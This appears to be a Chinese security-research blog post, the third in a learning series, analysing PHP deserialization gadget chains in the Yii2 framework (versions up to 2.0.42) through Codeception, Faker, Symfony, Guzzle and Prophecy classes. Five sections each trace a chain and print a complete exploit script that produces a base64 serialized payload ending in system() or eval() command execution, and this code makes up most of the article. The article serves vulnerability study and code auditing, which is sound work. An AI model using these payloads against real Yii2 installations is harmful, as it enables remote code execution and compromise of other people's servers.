点击蓝字,关注我们
日期:2023-03-30 作者:Obsidian 介绍: Yii2
框架相关漏洞的新手学习记录。
0x01 前言
书接上回。
在 yii2 version < =2.0.42
时,反序列化仅剩一个入口点,如下:
反序列化起点 | 触发方法 | 存在版本 |
---|---|---|
RunProcess | __destruct() | <= 2.0.42 |
本文就从此开始。
为了方便代码调试,测试环境采用php-7.3.4
和yii-basic-app-2.0.42.tgz
版本。
环境的搭建与调试请参考前篇《从零开始的Yii2框架学习之旅》
,低版本漏洞复现请参考前篇《从壹开始的Yii2框架学习之旅》
。
0x02 漏洞分析及复现
POP 1
/vendor/codeception/codeception/ext/RunProcess.php
文件中,以下是精简后的代码。class RunProcess{
private $processes = [];
public function __destruct(){
$this->stopProcess();
}
public function stopProcess(){
foreach (array_reverse($this->processes) as $process) {
if (!$process->isRunning()) {
continue;
}
}
}
}
__destruct()
魔术方法触发 stopProcess()
方法,之后进行调用了isRunning()
方法。这里$this->processes
参数可控,可通过指定类,去触发__call()
魔术方法。之前使用的是Generator
类,但在2.0.42
版本中,代码增加了__wakeup()
限制。
在全局搜索了public function __call(
后,发现了/vendor/fakerphp/faker/src/Faker/ValidGenerator.php
,精简代码如下:
class ValidGenerator{
protected $generator;
protected $validator;
protected $maxRetries;
public function __call($name, $arguments){
$i = 0;
do {
$res = call_user_func_array([$this->generator, $name], $arguments);
++$i;
if ($i > $this->maxRetries) {
die();
}
} while (!call_user_func($this->validator, $res));
return $res;
}
}
其中,$this->generator
,$this->maxRetries
,$this->validator
均可控。
这里采用的是do-while
循环,先要执行一次循环语句,然后再判断条件是否为真。整体代码可变成,如下所示:
$i = 0;
$res = call_user_func_array([$this->generator, $name], $arguments);
++$i;
if ($i > $this->maxRetries) {
die();
}
call_user_func($this->validator, $res);
$this->maxRetries
只要大于零即可,call_user_func_array
采用的是数组的写法,无法直接RCE
,所以只能在call_user_func
进行命令执行。
所以需要$res
可控,$res
是call_user_func_array
的返回结果,所以需要找到另一个__call
,返回值可控。
这里采用的是/vendor/fakerphp/faker/src/Faker/DefaultGenerator.php
,精简代码如下:
class DefaultGenerator{
protected $default;
public function __call($method, $attributes)
{
return $this->default;
}
}
这样,就可以保证call_user_func
的函数和参数都可控,可进行命令执行。简单的逻辑代码如下:
class DefaultGenerator{
protected $default='whoami';
public function __call($method, $attributes){
return $this->default;
}
}
$i = 0;
$res = call_user_func_array([new DefaultGenerator(), $name], $arguments); //whoami
++$i;
if ($i > 1) {
die();
}
call_user_func('system', $res);
至此,完成了命令执行。
POP
链如下:
CodeceptionExtensionRunProcess::__destruct()->stopProcess()->$process->isRunning()
->
FakerValidGenerator::__call()->call_user_func_array()
->
FakerDefaultGenerator::__call()
->
FakerValidGenerator::__call()->call_user_func()->system('whoami')
EXP
:
namespace Faker{
class DefaultGenerator{
protected $default ;
function __construct(){
$this->default = 'whoami';
}
}
class ValidGenerator{
protected $generator;
protected $validator;
protected $maxRetries;
function __construct(){
$this->generator = new DefaultGenerator();
$this->validator = 'system';
$this->maxRetries = 1;
}
}
}
namespace CodeceptionExtension{
use FakerValidGenerator;
class RunProcess{
private $processes = [];
function __construct(){
$this->processes[] = new ValidGenerator();
}
}
}
namespace{
use CodeceptionExtensionRunProcess;
$exp = new RunProcess();
echo base64_encode(serialize($exp));
}
POP 2
反序列化起点依旧是RunProcess
的isRunning
函数,触发__call()
魔术方法。在选择下一个跳板时,可以替换为与ValidGenerator
类似的vendorfakerphpfakersrcFakerUniqueGenerator.php
,精简代码如下:
class UniqueGenerator{
protected $generator;
protected $maxRetries;
public function __call($name, $arguments){
$i = 0;
do {
$res = call_user_func_array([$this->generator, $name], $arguments);
++$i;
if ($i > $this->maxRetries) {
die();
}
} while (array_key_exists(serialize($res), $this->uniques[$name]));
$this->uniques[$name][serialize($res)] = null;
return $res;
}
}
最终落点是serialize($res)
,根据触发魔术方法的条件,序列化操作可以触发__sleep()
魔术方法。
在全局搜索public function __sleep()
之后,发现了熟悉的LazyString
类,精简代码如下:
class LazyString{
private $value;
public function __sleep(){
$this->__toString();
return ['value'];
}
public function __toString(){
if (is_string($this->value)) {
return $this->value;
}
}
}
可以看到,__sleep()
魔术方法调用了__toString()
魔术方法,这里就可以利用前篇《从壹开始的Yii2框架学习之旅》
中的链子。
SymfonystringLazyString::__toString -> value()
->
yiirestIndexAction::run->call_user_func()->system('whoami')
这样,整理的链子就打通了。
POP
链如下:
CodeceptionExtensionRunProcess::__destruct()->stopProcess()->$process->isRunning()
->
FakerUniqueGenerator::__call()->call_user_func_array()
->
FakerDefaultGenerator::__call()
->
FakerUniqueGenerator::serialize()
->
SymfonystringLazyString::__sleep()->__toString() -> value()
->
yiirestIndexAction::run->call_user_func()->system('whoami')
EXP
:
namespace yiirest {
class IndexAction {
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess="system";
$this->id="id";
}
}
}
namespace SymfonyComponentString{
use yiirestIndexAction;
class LazyString{
private $value;
public function __construct(){
$this->value = [new IndexAction(),"run"];
}
}
}
namespace Faker{
use SymfonyComponentStringLazyString;
class DefaultGenerator{
protected $default ;
function __construct(){
$this->default = new LazyString();
}
}
class UniqueGenerator{
protected $generator;
protected $maxRetries;
public function __construct(){
$this->generator = new DefaultGenerator();
$this->maxRetries = 1;
}
}
}
namespace CodeceptionExtension{
use FakerUniqueGenerator;
class RunProcess{
private $processes = [] ;
function __construct(){
$this->processes[] = new UniqueGenerator();
}
}
}
namespace {
use CodeceptionExtensionRunProcess;
$exp = new RunProcess();
echo base64_encode(serialize($exp));
}
POP 3-1
这条链子与之前的起点稍微有点不同。
RunProcess
的__destruct()
魔术方法触发 stopProcess()
方法,在这里面有一句代码是:
$this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());
如果$this->output
的值为类对象,并且$process->getCommandLine()
的返回值可控,将其设置为类对象,那么就可触发对应类的__toString()
魔术方法。
我们可以通过DefaultGenerator
的__call()
魔术方法,来让返回值可控;并且可在触发__toString()
魔术方法时,利用之前LazyString->IndexAction
的链子。
那么到这的POP
链就是:
CodeceptionExtensionRunProcess::__destruct()->stopProcess()->$process->getCommandLine()
->
FakerDefaultGenerator::__call()
->
SymfonystringLazyString::__toString() -> value()
->
yiirestIndexAction::run->call_user_func()->system('whoami')
EXP
:
namespace yiirest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess="system";
$this->id="id";
}
}
}
namespace SymfonyComponentString{
use yiirestIndexAction;
class LazyString {
private $value;
public function __construct(){
$this->value = [new IndexAction(),"run"];
}
}
}
namespace Faker{
class DefaultGenerator{
protected $default ;
function __construct($default){
$this->default = $default;
}
}
}
namespace CodeceptionExtension{
use FakerDefaultGenerator;
use SymfonyComponentStringLazyString;
class RunProcess{
private $processes = [];
private $output;
function __construct(){
$this->processes[] = new DefaultGenerator(new LazyString());
$this->output=new DefaultGenerator('');
}
}
}
namespace{
use CodeceptionExtensionRunProcess;
$exp = new RunProcess();
echo base64_encode(serialize($exp));
}
POP 3-2
3-1
的链子是有点简单的,并且复用了之前的LazyString
类。
这里,在选择__toString()
魔术方法时,利用AppendStream
这个新的类。
/vendor/guzzlehttp/psr7/src/AppendStream.php
精简代码如下:
class AppendStream{
private $streams = [];
private $seekable = true;
public function __toString(){
$this->rewind();
return $this->getContents();
}
public function rewind(){
$this->seek(0);
}
public function seek($offset, $whence = SEEK_SET){
if (!$this->seekable){
die();
} elseif ($whence !== SEEK_SET){
die();
}
foreach ($this->streams as $i => $stream){
$stream->rewind();
}
}
}
__toString()
魔术方法调用了自身的rewind
函数,紧接着又触发了自身的seek
函数。
$this->seekable
默认为TRUE
,$whence
在函数初始化的时候也是与SEEK_SET
一致,所以可以顺序运行到foreach
。
$this->streams
可控,去调用了其他类的rewind
函数。
全局搜索后public function rewind()
后,可发现/vendor/guzzlehttp/psr7/src/CachingStream.php
,精简代码如下:
class CachingStream{
use StreamDecoratorTrait;
private $remoteStream;
public function rewind(){
$this->seek(0);
}
public function seek($offset, $whence = SEEK_SET){
$diff = $offset - $this->stream->getSize();
while ($diff > 0 && !$this->remoteStream->eof()){
$this->read($diff);
}
}
public function read($length){
$data = $this->stream->read($length);
}
}
rewind
函数,触发了自身的seek
函数。这里会进行几个判断,首先是$diff=0-X;$diff>0
,可知,X<0
,$this->stream
可控,那么这个就可以通过。
第二个判断是,!$this->remoteStream->eof()
,那么可知$this->remoteStream->eof()
为TRUE
,$this->remoteStream
可控,那么就可以继续利用DefaultGenerator
的__call()
魔术方法进行返回值控制。
判断通过后,会触发自身的read
函数,而read
函数,会继续触发其他类的read
函数。
接下来用到的是/vendor/guzzlehttp/psr7/src/PumpStream.php
,精简代码如下:
class PumpStream{
private $source;
private $size;
private $buffer;
public function getSize(){
return $this->size;
}
public function read($length){
$data = $this->buffer->read($length);
$readLen = strlen($data);
$remaining = $length - $readLen;
if ($remaining){
$this->pump($remaining);
}
}
private function pump($length)
{
if ($this->source) {
do {
$data = call_user_func($this->source, $length);
} while ($length > 0);
}
}
}
这时候,将CachingStream
和PumpStream
结合起来看,合并同类项之后:
class CachingStream{
$this->stream=new PumpStream();
$diff = 0 - $this->stream->size;//0-(-2)=2
while ($diff > 0){//2
$this->stream->read($diff);
}
}
class PumpStream{
private $size=-2;
public function read($length){
$remaining = $length - strlen($length);//2-1=1
if ($remaining){
$this->pump($remaining);
}
}
}
如果CachingStream
中的stream
为PumpStream
类,并且PumpStream
的size
为-2
。
那么,$diff=2;$length=2;$remaining=2-len(2)=1
,代码就可以继续运行,执行PumpStream
的pump
函数。
在判断了$this->source
之后,执行了call_user_func
函数,可执行命令。
其中,$this->source
可控,那么就可以利用数组的方式,通过调用IndexAction
的run
函数执行命令。
完整POP
链如下:
CodeceptionExtensionRunProcess::__destruct()->stopProcess()->$process->getCommandLine()
->
GuzzleHttpPsr7AppendStream::__toString()->rewind()->seek()
->
GuzzleHttpPsr7CachingStream::rewind()->seek()->read()
->
GuzzleHttpPsr7PumpStream::read()->pump()->call_user_func()
->
yiirestIndexAction::run->call_user_func()->system('whoami')
EXP
:
namespace yiirest{
class IndexAction {
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess="system";
$this->id="whoami";
}
}
}
namespace Faker{
class DefaultGenerator{
protected $default;
public function __construct($default = null){
$this->default = $default;
}
}
}
namespace GuzzleHttpPsr7{
use FakerDefaultGenerator;
use yiirestIndexAction;
class PumpStream{
private $source;
private $size;
private $buffer;
public function __construct(){
$this->buffer=new DefaultGenerator('');
$this->source=[new IndexAction(),"run"];
$this->size=-2;
}
}
class CachingStream{
private $remoteStream;
public function __construct(){
$this->remoteStream=new DefaultGenerator(false);
$this->stream=new PumpStream();
}
}
class AppendStream{
private $streams = [];
private $seekable;
public function __construct(){
$this->streams[]=new CachingStream();
$this->seekable = true;
}
}
}
namespace CodeceptionExtension{
use FakerDefaultGenerator;
use GuzzleHttpPsr7AppendStream;
class RunProcess{
protected $output;
private $processes = [];
public function __construct(){
$this->processes[]=new DefaultGenerator(new AppendStream());
$this->output=new DefaultGenerator('');
}
}
}
namespace {
use CodeceptionExtensionRunProcess;
$exp = new RunProcess();
echo base64_encode(serialize($exp));
}
POP 4
本条链子是最复杂的一条链子,入口点还是在RunProcess
的__destruct()
魔术方法触发 stopProcess()
方法,之后进行调用了isRunning()
方法,$this->processes
参数可控,去触发__call()
魔术方法。
在选择__call()
的利用类时,用到的是/vendor/phpspec/prophecy/src/Prophecy/Prophecy/ObjectProphecy.php
,精简代码如下:
class ObjectProphecy
{
private $lazyDouble;
private $revealer;
public function reveal(){
$double = $this->lazyDouble->getInstance();
}
public function __call($methodName, array $arguments){
$arguments = new ArgumentsWildcard($this->revealer->reveal($arguments));
}
}
}
__call()
魔术方法触发了$this->revealer
的reveal()
函数,这里我们可以选择调用自身或者其他类,但实际跟进后发现,其他类是走不通的,所以这里触发自身的reveal()
函数。然后会继续调用$this->lazyDouble
的getInstance()
函数,在全局搜索public function getInstance(
后发现,仅有一个类,也就是,/vendor/phpspec/prophecy/src/Prophecy/Doubler/LazyDouble.php
,精简代码如下:
class LazyDouble{
private $doubler;
private $class;
private $interfaces = array();
private $arguments = null;
private $double;
public function getInstance()
{
if (null === $this->double) {
if (null !== $this->arguments) {
$this->double = $this->doubler->double($this->class, $this->interfaces, $this->arguments);
}
$this->double = $this->doubler->double($this->class, $this->interfaces);
}
}
}
这里的getInstance()
函数进行了判断,但是所有的参数我们均可控,唯一不同的就是,我们要控制$this->arguments
参数,来控制接下来触发的double()
函数的传参是三个或者两个,至于参数具体要赋值什么,需要进一步看到double()
函数的代码进行分析。在全局搜索public function double(
后发现,存在/vendor/phpspec/prophecy/src/Prophecy/Doubler/Doubler.php
,精简代码如下:
class Doubler{
private $mirror;
private $creator;
private $namer;
public function double(ReflectionClass $class = null, array $interfaces, array $args = null){
foreach ($interfaces as $interface) {
if (!$interface instanceof ReflectionClass) {
die();
}
}
$classname = $this->createDoubleClass($class, $interfaces);
}
protected function createDoubleClass(ReflectionClass $class = null, array $interfaces){
$name = $this->namer->name($class, $interfaces);
$node = $this->mirror->reflect($class, $interfaces);
$this->creator->create($name, $node);
}
}
从这里的double
函数的传参来看,第三个参数是无用的,不影响函数整体。第一个参数类型要求的是ReflectionClass
也就是反射类,生成反射类也很简单,只需要new ReflectionClass('类名');
即可,为了方便使用,我们可以利用php
的原生类,例如:Error
或Exception
。第二个参数进行了foreach
循环,并且有instanceof ReflectionClass
判断,这个判断是确定变量是否为ReflectionClass
的实例,也就是变量是否为反射类,那么这就跟第一个参数是一样的,只要反射类即可。
通过判断后,带着第一和第二两个参数调用了自身的createDoubleClass()
函数。
然后调用了其他类的create()
函数,并且传参是可控的。因为$this->namer
和$this->mirror
可控,那么可以利用DefaultGenerator
的__call()
魔术方法来控制返回值,进而可以控制两个参数。
在全局搜索public function create(
后,找到了/vendor/phpspec/prophecy/src/Prophecy/Doubler/Generator/ClassCreator.php
,精简代码如下:
class ClassCreator{
private $generator;
public function create($classname, NodeClassNode $class){
$code = $this->generator->generate($classname, $class);
$return = eval($code);
}
}
这里的$this->generator
可控,我们同样可以利用DefaultGenerator
来控制$code
,之后可以进行命令执行。
要注意的是$class
参数必需是NodeClassNode
类。
至此,整条链子分析完毕。
POP
链如下:
CodeceptionExtensionRunProcess::__destruct()->stopProcess()->$process->isRunning()
->
ProphecyProphecyObjectProphecy::__call()->reveal()
->
ProphecyDoublerLazyDouble::getInstance()
->
ProphecyDoublerDoubler::double()->createDoubleClass()
->
ProphecyDoublerGeneratorClassCreator::create()->eval()->system('whoami')
EXP
:
namespace ProphecyDoublerGenerator{
use FakerDefaultGenerator;
class ClassCreator{
private $generator;
function __construct(){
$this->generator = new DefaultGenerator('system("whoami");');
}
}
}
namespace Faker{
class DefaultGenerator{
protected $default;
function __construct($default){
$this->default = $default;
}
}
}
namespace ProphecyDoubler{
use ProphecyDoublerGeneratorNodeClassNode;
use FakerDefaultGenerator;
use ProphecyDoublerGeneratorClassCreator;
class Doubler{
private $mirror;
private $creator;
private $namer;
function __construct(){
$this->namer = new DefaultGenerator('');
$this->mirror = new DefaultGenerator(new ClassNode());
$this->creator = new ClassCreator();
}
}
}
namespace ProphecyDoublerGeneratorNode{
class ClassNode{
}
}
namespace ProphecyDoubler{
class LazyDouble{
private $doubler;
private $argument;
private $class;
private $interfaces;
function __construct(){
$this->doubler =new Doubler();
$this->class = new ReflectionClass('Error');
$this->argument = null;
$this->interfaces[] = new ReflectionClass('Error');
}
}
}
namespace ProphecyProphecy{
use ProphecyDoublerLazyDouble;
class ObjectProphecy{
private $lazyDouble;
private $revealer;
function __construct($a)
{
$this->revealer = $a;
$this->lazyDouble = new LazyDouble();
}
}
}
namespace CodeceptionExtension{
use ProphecyProphecyObjectProphecy;
class RunProcess{
private $processes;
function __construct(){
$a = new ObjectProphecy('1');
$this->processes[] = new ObjectProphecy($a);
}
}
}
namespace {
use CodeceptionExtensionRunProcess;
$exp = new RunProcess();
echo base64_encode(serialize($exp));
}
PS:PHP 7.4 Serialization of 'ReflectionClass' is not allowed
注意:PHP 7.4
之后的版本不支持反射类的序列化。
0x03 总结
yii2
的反序列化漏洞就暂时告一段落了,在2.0.43
版本已经将入口点都处理干净了。
本系列一共三篇文章,从低版本到最终的2.0.42
版本,基本上已经涵盖了绝大部分的反序列化链子,一路学习下来,自己收获良多。
共勉。
参考文章
https://xz.aliyun.com/t/9420
https://forum.butian.net/share/666
https://forum.butian.net/share/734
点此亲启
原文始发于微信公众号(宸极实验室):『代码审计』从零开始的 Yii2 框架学习之旅(3)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论